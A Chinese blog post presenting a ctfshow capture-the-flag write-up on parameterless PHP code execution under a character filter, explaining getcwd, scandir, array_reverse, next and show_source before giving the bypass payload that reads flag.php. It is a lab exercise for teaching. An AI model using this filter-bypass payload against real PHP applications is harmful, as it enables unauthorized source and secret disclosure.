ctfshow 一句话木马变形| 无参数rce|绕过|

Only letters, numbers, underscores ,parentheses and semicolons are allowed.

题目只允许使用字母、数字、下划线、括号和分号
一、getcwd()函数
在 PHP 中,getcwd() 是用于获取当前工作目录(Current Working Directory)的内置函数,它返回脚本执行时的当前目录路径,是文件系统操作中常用的基础函数。

image

二、scandir()函数
在 PHP 中,scandir() 是用于扫描指定目录并返回该目录下所有文件 / 子目录名称的内置函数,是目录遍历的核心函数之一,常与 getcwd()__DIR__ 等配合使用。

示例 1:基础使用(扫描当前目录)

<?php
// 扫描当前工作目录
$dir = getcwd();
$files = scandir($dir);

if ($files === false) {
    echo "目录扫描失败!";
} else {
    print_r($files);
}

输出示例(Linux 环境,当前目录有 test.php、data 目录):

Array
(
    [0] => .
    [1] => ..
    [2] => data
    [3] => test.php
)
注意到,这里scandir()函数返回的路径是一个数组的形式,而且前两个元素是...,因此我们考虑进行array_reverse
三、array_reverse()函数

image

在 PHP 中,array_reverse() 是用于反转数组元素顺序的内置函数,它会返回一个新的反转后的数组(默认不改变原数组),常配合数组遍历、数据展示等场景使用

image

示例 1:基础使用(索引数组,默认不保留键名)

<?php
$original = [10, 20, 30, 40];
$reversed = array_reverse($original);

echo "原数组:";
print_r($original); // 原数组不变:[10,20,30,40]

echo "反转后数组:";
print_r($reversed); // 输出:[40,30,20,10](索引重置为 0,1,2,3)
?>

示例 2:保留原数组键名

<?php
$original = [
    'a' => 'apple',
    'b' => 'banana',
    'c' => 'cherry'
];
// 保留键名反转
$reversed = array_reverse($original, true);

print_r($reversed);
?>

输出:

(
    [c] => cherry
    [b] => banana
    [a] => apple
)

示例 4:多维数组(仅反转外层)

<?php
$original = [
    ['name' => 'Alice', 'age' => 20],
    ['name' => 'Bob', 'age' => 25]
];
$reversed = array_reverse($original);

print_r($reversed);
?>

输出(外层反转,内层不变):

Array
(
    [0] => Array
        (
            [name] => Bob
            [age] => 25
        )

    [1] => Array
        (
            [name] => Alice
            [age] => 20
        )
)
五、next()函数

image

函数 作用
current() 获取当前指针位置的元素值(不移动指针)
next() 指针移到下一个元素,返回该元素值
prev() 指针移到上一个元素,返回该元素值
end() 指针移到最后一个元素,返回该元素值
reset() 指针重置到第一个元素,返回该元素值
key() 获取当前指针位置的元素键名
六、show_source()函数
在 PHP 中,show_source() 是用于高亮显示指定 PHP 文件的源代码的内置函数(与 highlight_file() 完全等价,是其别名),核心作用是将文件内容以 HTML 格式输出,并对 PHP 语法进行彩色高亮,常用于调试、代码展示场景。
<?php
// 展示当前脚本自身的源代码(高亮输出)
$file = __FILE__; // __FILE__ 表示当前文件的完整路径
$result = show_source($file);

// 验证是否成功
if (!$result) {
    echo "展示源代码失败:" . error_get_last()['message'];
}
?>

示例 2:返回高亮内容(不直接输出)

<?php
$file = __DIR__ . '/test.php';
// 返回高亮后的 HTML 字符串
$highlighted = show_source($file, true);

if ($highlighted !== false) {
    // 自定义包裹样式后输出
    echo "<div style='border: 1px solid #ccc; padding: 10px;'>" . $highlighted . "</div>";
} else {
    echo "文件不存在或无权限!";
}
?>

---------------做题

image
发现flag.php路径
image

payload如下:
show_source(next(array_reverse(scandir(getcwd()))));

image

posted @ 2025-12-17 20:27  Dragon_Roar  阅读(124)  评论(0)    收藏  举报